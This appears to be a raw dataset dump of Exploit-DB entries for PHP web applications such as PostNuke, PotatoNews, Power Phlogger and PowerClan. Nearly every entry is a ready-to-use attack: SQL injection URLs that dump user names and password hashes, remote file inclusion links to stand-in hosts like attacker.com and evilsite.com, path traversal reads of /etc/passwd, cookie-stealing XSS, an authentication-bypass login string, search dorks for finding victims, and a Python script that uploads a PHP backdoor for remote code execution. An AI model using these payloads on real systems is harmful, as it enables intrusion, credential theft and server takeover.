deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25173
Description: PostNuke Phoenix 0.7x - 'SHOW' SQL Injection
Type: webapps
Platform: php
Date: 2005-02-28
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/12684/info

PostNuke Phoenix is reported prone to an SQL injection vulnerability. This issue arises due to insufficient sanitization of user-supplied input.

It is reported that issue presents itself when malicious SQL syntax is issued to the application through the 'show' variable.

PostNuke 0.760-RC2 and prior versions are reported vulnerable. 

http://www.example.com/index.php?name=Downloads&req=search&query=&show=cXIb8O3

http://www.example.com/index.php?name=Downloads&req=search&query=[Program name]&show=10%20INTO%20OUTFILE%20'/[PATH]/pnTemp/Xanthia_cache/cXIb8O3.php'/*

http://www.example.com/pnTemp/Xanthia_cache/cXIb8O3.php?cx=cat /etc/passwd
Exploit-DB #36583
Description: PostNuke pnAddressbook Module - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-19
Author: Robert Cooper

Exploit:
source: https://www.securityfocus.com/bid/51566/info

The pnAddressbook module for PostNuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database 

http://www.example.com/index.php module=pnAddressBook&func=viewDetail&formcall=edit&authid=2a630bd4b1cc5e7d03ef3ab28fb5e838&catview=0&sortview=0&formSearch=&all=1&menuprivate=0&total=78&page=1&char=&id=-46 union all select 1,2,3,group_concat(pn_uname,0x3a,pn_pass)
Exploit-DB #3813
Description: PostNuke pnFlashGames Module 1.5 - SQL Injection
Type: webapps
Platform: php
Date: 2007-04-28
Author: Mehmet Ince

Exploit:
============================================================

PostNuke pnFlashGames Module v1.5 REmote SQL Injection 

============================================================

Bulan: xoron


xoron.biz

+

Love's the funeral of hearts

The funeral of hearts
And a plea for mercy
When love is a gun
Separating me from you

:(

============================================================

Exploit: 
index.php?module=pnFlashGames&func=view&cid=-1/**/union/**/select/**/0,pn_uname,2,pn_pass,4,5,6,7,8,9,10,11,12,13/**/from/**/pn_users/**/where/**/pn_uid=2/*

============================================================

Example: http://andersonvision.com/PostNuke/
============================================================

# milw0rm.com [2007-04-28]
Exploit-DB #800
Description: PostNuke PostWrap Module - Remote File Inclusion / Code Execution
Type: webapps
Platform: php
Date: 2005-02-08
Author: ALBANIA SECURITY

Exploit:
".,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._."
".,-*-,._ -.,-*-,."
".,-*-,._ ALBANIA SECURITY CLAN -.,-*-,."
".,-*-,._ -.,-*-,."
".,-*-,._ ...::www.albanianhaxorz.org::... -.,-*-,."
".,-*-,.- -.,-*-,."
".,-*-,.- PROUD TO BE ALBANIAN -.,-*-,."
".,-*-,._ -.,-*-,."
".,-*-,._ Copyright (c) 2005 ASC irc.gigachat.net #ASC -.,-*-,."
".,-*-,._ -.,-*-,."
".,-*-,._.,-*-,._.,-*-,._.,-*-,._.,-*-,._.,-*-,._.,-*-,._.,-*-,._.,-*-,.-.,-*-,."
 
 
/index.php?module=PostWrap&page=http://localhost/asc?&cmd=uname%20-a;w;id;pwd
 
on google */index.php?module=PostWrap&page= ext:php have fun
 
 
 
".,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._."
".,-*-,._ -.,-*-,."
".,-*-,._ ALBANIA SECURITY CLAN -.,-*-,."
".,-*-,._ -.,-*-,."
".,-*-,._ ...::www.albanianhaxorz.org::... -.,-*-,."
".,-*-,.- -.,-*-,."
".,-*-,.- PROUD TO BE ALBANIAN -.,-*-,."
".,-*-,._ -.,-*-,."
".,-*-,._ Copyright (c) 2005 ASC irc.gigachat.net #ASC -.,-*-,."
".,-*-,._ -.,-*-,."
".,-*-,._.,-*-,._.,-*-,._.,-*-,._.,-*-,._.,-*-,._.,-*-,._.,-*-,._.,-*-,.-.,-*-,."

# milw0rm.com [2005-02-08]
Exploit-DB #8032
Description: Potato News 1.0.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2009-02-10
Author: x0r

Exploit:
#########################################################################################
[0x01] Informations:

Name           : Potato News 1.0.0
Download       :
http://potato-news.googlecode.com/files/potatonews-1.0.0.zip
Vulnerability  : LFI
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud to be Italian
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/admin.php

[Code]
	<?PHP
if (isset($_COOKIE["user"])) {
$id = $_COOKIE["user"];
if (file_exists("data/users/$id.php")) {
include ("data/users/$id.php");
if ($usaavatar == "") {
echo "<img height='75px' width='75px' src='images/noav.jpg'/>";

} else {
echo "<img height='75px' width='75px' src='$usaavatar'/>";
}
}
[/code]

#########################################################################################
[0x03] Exploit:

Exploit: javascript:document.cookie =
"user=../../../../../../../../../../etc/passwd%00; path=/"

########################################################################################

# milw0rm.com [2009-02-10]
Exploit-DB #33820
Description: PotatoNews 1.0.2 - 'nid' Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2010-04-07
Author: mat

Exploit:
source: https://www.securityfocus.com/bid/39276/info

PotatoNews is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

PotatoNews 1.0.2 is vulnerable; other versions may also be affected.

http://www.example.com/newcopy/timeago.php?nid=../../../../../../../[file]%00
http://www.example.com/update/timeago.php?nid=../../../../../../../[file]%00
Exploit-DB #52053
Description: Poultry Farm Management System v1.0 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2024-06-26
Author: Jerry Thomas

Exploit:
# Exploit Title: Poultry Farm Management System v1.0 - Remote Code Execution (RCE)
# Date: 24-06-2024
# CVE: N/A (Awaiting ID to be assigned)
# Exploit Author: Jerry Thomas (w3bn00b3r)
# Vendor Homepage: https://www.sourcecodester.com/php/15230/poultry-farm-management-system-free-download.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/Redcock-Farm.zip
# Github - https://github.com/w3bn00b3r/Unauthenticated-Remote-Code-Execution-RCE---Poultry-Farm-Management-System-v1.0/
# Category: Web Application
# Version: 1.0
# Tested on: Windows 10 | Xampp v3.3.0
# Vulnerable endpoint: http://localhost/farm/product.php

import requests
from colorama import Fore, Style, init

# Initialize colorama
init(autoreset=True)

def upload_backdoor(target):
    upload_url = f"{target}/farm/product.php"
    shell_url = f"{target}/farm/assets/img/productimages/web-backdoor.php"

    # Prepare the payload
    payload = {
        'category': 'CHICKEN',
        'product': 'rce',
        'price': '100',
        'save': ''
    }

    # PHP code to be uploaded
    command = "hostname"
    data = f"<?php system('{command}');?>"

    # Prepare the file data
    files = {
        'productimage': ('web-backdoor.php', data, 'application/x-php')
    }

    try:
        print("Sending POST request to:", upload_url)
        response = requests.post(upload_url, files=files, data=payload,
verify=False)

        if response.status_code == 200:
            print("\nResponse status code:", response.status_code)
            print(f"Shell has been uploaded successfully: {shell_url}")

            # Make a GET request to the shell URL to execute the command
            shell_response = requests.get(shell_url, verify=False)
            print("Command output:", Fore.GREEN +
shell_response.text.strip())
        else:
            print(f"Failed to upload shell. Status code:
{response.status_code}")
            print("Response content:", response.text)
    except requests.RequestException as e:
        print(f"An error occurred: {e}")

if __name__ == "__main__":
    target = "http://localhost"  # Change this to your target
    upload_backdoor(target)
Exploit-DB #12671
Description: Powder Blue Design - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-20
Author: cyberlog

Exploit:
               __                  __               
 .----..--.--.|  |--..-----..----.|  |.-----..-----.
 |  __||  |  ||  _  ||  -__||   _||  ||  _  ||  _  |
 |____||___  ||_____||_____||__|  |__||_____||___  |
       |_____|                               |_____|

####################################################
# Powder Blue Desaign SQL Injection Vulnerability
####################################################
# Vendor: http://www.powder-blue.com/
# Discovered by : cyberlog
# Site          : Sekuritionline.net
# Channel       : #SekuritiOnline [ Now Just My Bot ] :P
# Dork          : "Site designed and built by Powder Blue." inurl:index.php?id_page=
# Exploit       : [site]/index.php?id_page=[SQL Injection]
# Thanks        : r0073r,adhietslank, k1n9k0ng, cr4wl3r,cah_gemblunkz,
                  jayoes,thesims,setiawan,irvian,EA_Angel,BlueSpy,SoEy,A-technique,Jantap,KiLL,
                  SarifJedul,wiro gendeng,Letjen,ridho_bugs,Ryan Kabrutz,Mathews.
# special to Mama Sri Rahayu, Member& Staff Sekuritonline, C0li a.k.a antisecurity [ pinjem script perl-na ] :), 
# Inj3ct0r Now Brothers with Sekuritionline
                
####################################################
# Demo: 
# http://[site]/index.php?id_page=5
# http://[site]/index.php?id_page=1
# http://[site]/index.php?id_page=14       
####################################################

We never die !!!! indonesian Underground Community
!!!!! anjing buat oknum Pemerintah yang suka nilep uang rakyat !!!
!!!!! anjing juga buat admin site indon3sia yang merasa sok h3bat, dikasih tahu ada hole malah nyolot !!!!!

KacrUt I L0v3 U :P
Give me NOCAN Brothers :P
am nt hacker just Lik3 Syst3m S3curity



                __                  __  __    __                __  __               
 .-----..-----.|  |--..--.--..----.|__||  |_ |__|.-----..-----.|  ||__|.-----..-----.
 |__ --||  -__||    < |  |  ||   _||  ||   _||  ||  _  ||     ||  ||  ||     ||  -__|
 |_____||_____||__|__||_____||__|  |__||____||__||_____||__|__||__||__||__|__||_____|
Exploit-DB #10289
Description: Power BB 1.8.3 - Remote File Inclusions
Type: webapps
Platform: php
Date: 2009-11-25
Author: DigitALL

Exploit:
## Dada?lar Grup Komutanl??? ##

## | HackSpy | Zombie | KroNickq | DigitALL | NoFearx38 | ##

## 1923Turk Grup ##

## by DigitALL ##

## Sites : http://powerwd.net ##

## Download : http://www.phpexplorer.com/Goster/536 ##

## Download : http://sourceforge.net/projects/pbb/ ##

## Power BB 1.8.3 Remote File ?ncludes ##

## /include/parser.php

## @include($_SERVER['DOCUMENT_ROOT'].$include);

## http://server/[path]/include/parser.php?_SERVER[DOCUMENT_ROOT]=http://attacker.com/shell.txt?
Exploit-DB #5549
Description: Power Editor 2.0 - Remote File Disclosure / Edit
Type: webapps
Platform: php
Date: 2008-05-05
Author: Virangar Security

Exploit:
	     ########################################################################
             #                                                                      #
             #    ..:::::Power Editor LOCAL FILE INCLUSION Vulnerbility ::::...     #           
             ########################################################################

Virangar Security Team

www.virangar.net

--------
Discoverd By :Virangar Security Team (hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all iranian hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) from emperor team :)
-----------------------------------
download:http://www.scriptsez.net/index.php?action=details&cat=Content%20Management&id=[PII_REDACTED]
dork: Powered By Power Editor
-----------------------------------
vuln code in editor.php:
line 84-94:
if ($action=="tempedit") {
$n=base64_decode($m);    
if ($n==$password){
template();
$te=$HTTP_GET_VARS['te'];
$dir=$HTTP_GET_VARS['dir'];
$filename = "$dir/$te";
$fd = fopen ($filename, "r");
$stuff = fread ($fd, filesize ($filename));
fclose ($fd);
?>
-------
vuln:
http://site.com/editor.php?action=tempedit&m=[base64 password]&te=[local_file]&dir=[local_dir]
examp:
editor.php?action=tempedit&m=Y2hhbmdlbWU=&te=/etc/passwd&dir=../../../../../../../../../..

-------------------------------------
and xss here :D :
http://site.com/editor.php?action=tempedit&m=[base64 password]&te=[xss]&dir=[xss]
-----
note:
default pass for login is:changeme
-----
young iranian h4ck3rz
/* tnx 2:
st0rke,aria-security.net,r00tshell.org,all h4ck3rz */

# milw0rm.com [2008-05-05]
Exploit-DB #2602
Description: Power Phlogger 2.0.9 - 'config.inc.php3' File Inclusion
Type: webapps
Platform: php
Date: 2006-10-19
Author: x_w0x

Exploit:
#################################
# Power Phlogger 2.0.9 -        #
#################################
#Class:     Remote|Local File Include Vulnerability
# Remote:    Yes
# Local:     No
# Type:      High
# Site:      http://www.comscripts.com/scripts/php.power-phlogger.211.html #
# Author:    x_w0x
# Contact:   x_w0x@hotmail.com
###################################
#Vuln Code
(config.inc.php3):
<?php
include $rel_path."functions.php3";//nothing here
?>

#
http://victim.com/[Power Phlogger 2.0.9]/config.inc.php3?rel_path=http://DarknesseScript.txt


#Gr££tz:makoki, azzcoder,xoron,osm@n
#Speciale gr££tz: str0ke, and elite-team

# milw0rm.com [2006-10-19]
Exploit-DB #5744
Description: Power Phlogger 2.2.5 - 'css_str' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-05
Author: MustLive

Exploit:
############################################################

SQL Injection vulnerability in Power Phlogger

By MustLive (http://websecurity.com.ua)

Detailed information: http://websecurity.com.ua/2158/

Description: SQL Injection vulnerability in Power Phlogger (it is PHP/MySQL logging tool via counters). To make SQL Injection attack you need to be logged into your account, which can be freely obtained via open registration form.
 
SQL Injection:
 
http://site/edCss.php?css_str=-1%20union%20select%20null,null,id,username,pw,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20from%20pphl_users%20limit%200,1&action=edit
 
With this query you will receive id, login and password (hash) of first user.
 
Vulnerable versions are Power Phlogger <= 2.2.5.
 
############################################################

# milw0rm.com [2008-06-05]
Exploit-DB #33380
Description: Power Phlogger 2.2.x - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-02-16
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/37150/info

Power Phlogger is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

Attackers can exploit this issue to steal cookie-based authentication credentials or to control how the site is rendered to the user.

Power Phlogger 2.2.5 is vulnerable; other versions may also be affected.

http://www.example.com/dspStats.php?edit=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #37828
Description: Poweradmin - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-09-20
Author: Siavash

Exploit:
source: https://www.securityfocus.com/bid/55619/info

Poweradmin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/index.php/%3E%22%3E%3CScRiPt%3Ealert%[PII_REDACTED]0173%29%3C/ScRiPt%3E
Exploit-DB #5302
Description: PowerBook 1.21 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-03-24
Author: DSecRG

Exploit:
[DSECRG-08-019] Digital Security Research Group [DSecRG] Advisory


Application:                    PowerBook
Versions Affected:              1.21
Vendor URL:                     http://www.powerscripts.org/
Bug:                            Local File Include
Exploits:                       YES
Reported:                       01.02.2008
Vendor Response:                none
Solution:                       none
Date of Public Advisory:        24.03.2008
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Local File Include vulnerability found in script pb_inc/admincenter/index.php

Non-authentication user can directly access to this script.

To exploit this vulnerability REGISTER_GLOBALS option must be ON in php config file.


Code
****
#################################################

  if (!$page) {
     $page = "home";
  }

  $page .= ".inc.php";

  if(file_exists($page) == false) {
     echo "
        <div align=\"center\">Sorry, the page <b>$page</b> does not exist!</div>
     ";
  } else {
     include("$page");
  }

#################################################


Example:

http://[server]/[installdir]/pb_inc/admincenter/index.php?page=../../../../../../../../../../../../../etc/passwd%00



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration

testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.

Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories

and whitepapers posted regularly on our website.

# milw0rm.com [2008-03-24]
Exploit-DB #27645
Description: PowerClan 1.14 - 'member.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-04-13
Author: d4igoro

Exploit:
source: https://www.securityfocus.com/bid/17528/info

PowerClan is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

PowerClan version 1.14 is reported vulnerable. Other versions may be affected as well.

http://www.example.com/member.php?pcpage=showmember&memberid=[SQL]
Exploit-DB #2973
Description: PowerClan 1.14a - 'footer.inc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-21
Author: nuffsaid

Exploit:
+-------------------------------------------------------------------------------------------
+ PowerClan <= 1.14a (footer.inc.php) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ Vendor ............: http://www.powerscripts.org/
+ Affected Software .: PowerClan <= 1.14a
+ Download ..........: http://ftp.powerscripts.org/pc/powerclan114a.zip
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ PowerClan footer.inc.php does not initialize the $settings[footer] variable before using it
+ to include files, assuming register_globals = on, we can initialize the variable in a query
+ string and include a remote file of our choice.
+
+ Vulnerable Code:
+ footer.inc.php, line(s) 24:
+ -> 24: include($settings[footer]);
+
+ Proof Of Concept:
+ http://[target]/[path]/footer.inc.php?settings[footer]=http://evilsite.com/shell.php
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-12-21]
Exploit-DB #7642
Description: PowerClan 1.14a - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-01-01
Author: Virangar Security

Exploit:
  #######################################################################################
  #                                                                                     #
  #      ...:::::PowerClan 1.14a (Auth Bypass) SQL Injection Vulnerability::::....      #          
  #######################################################################################
Virangar Security Team
www.virangar.net
--------
Discoverd By :virangar security team(hadihadi)
special tnx to:MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra
& all virangar members & all hackerz
greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-------
exploit:
path to admin area: /admin

login: admin ' or 1=1/*
pass:[whatever]
---
young iranian h4ck3rz

# milw0rm.com [2009-01-01]
Exploit-DB #25777
Description: PowerDownload 3.0.2/3.0.3 - IncDir Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-05-31
Author: SoulBlack Group

Exploit:
source: https://www.securityfocus.com/bid/13822/info

PowerDownload is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/download/downloads.php?release_id=650&incdir=http://www.example.com/
Exploit-DB #33881
Description: PowerEasy 2006 - 'ComeUrl' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-04-24
Author: Liscker

Exploit:
source: https://www.securityfocus.com/bid/39696/info

PowerEasy is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PowerEasy 2006 is vulnerable; other versions may also be affected. 

http://www.example.com:80/user/User_ChkLogin.asp?ComeUrl=" style="XSS:expression(alert(/liscker/))"
Exploit-DB #12384
Description: Powered by iNetScripts - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-04-25
Author: Sec-q8

Exploit:
====================================================
Powered by iNetScripts: Shell Upload Vulnerability
====================================================
 


  
  
 
# Contact  :Sec-q8   Sec-Q8@hotmail.com

# Published: 2010-04-25

# Home     :  http://Sec-Senter.com/vb
  
  
=========
  
[~] Exploit
  
    http://localhost/imagehost/
 
 
 
[~] Dork.. "Powered by iNetScripts"




[~] expl0it: upload Your Shell shell.php.pjpeg

 
=========
  
# Greetz

www.v4-team.com/cc  www.Sec-War.com  
  
Dr-LuLa Mr.MLL Dr.s4udi Dr.ExE GoLdeN-z3r0 JM511 TopSat13 RoTQ8 all Muslims
  
=========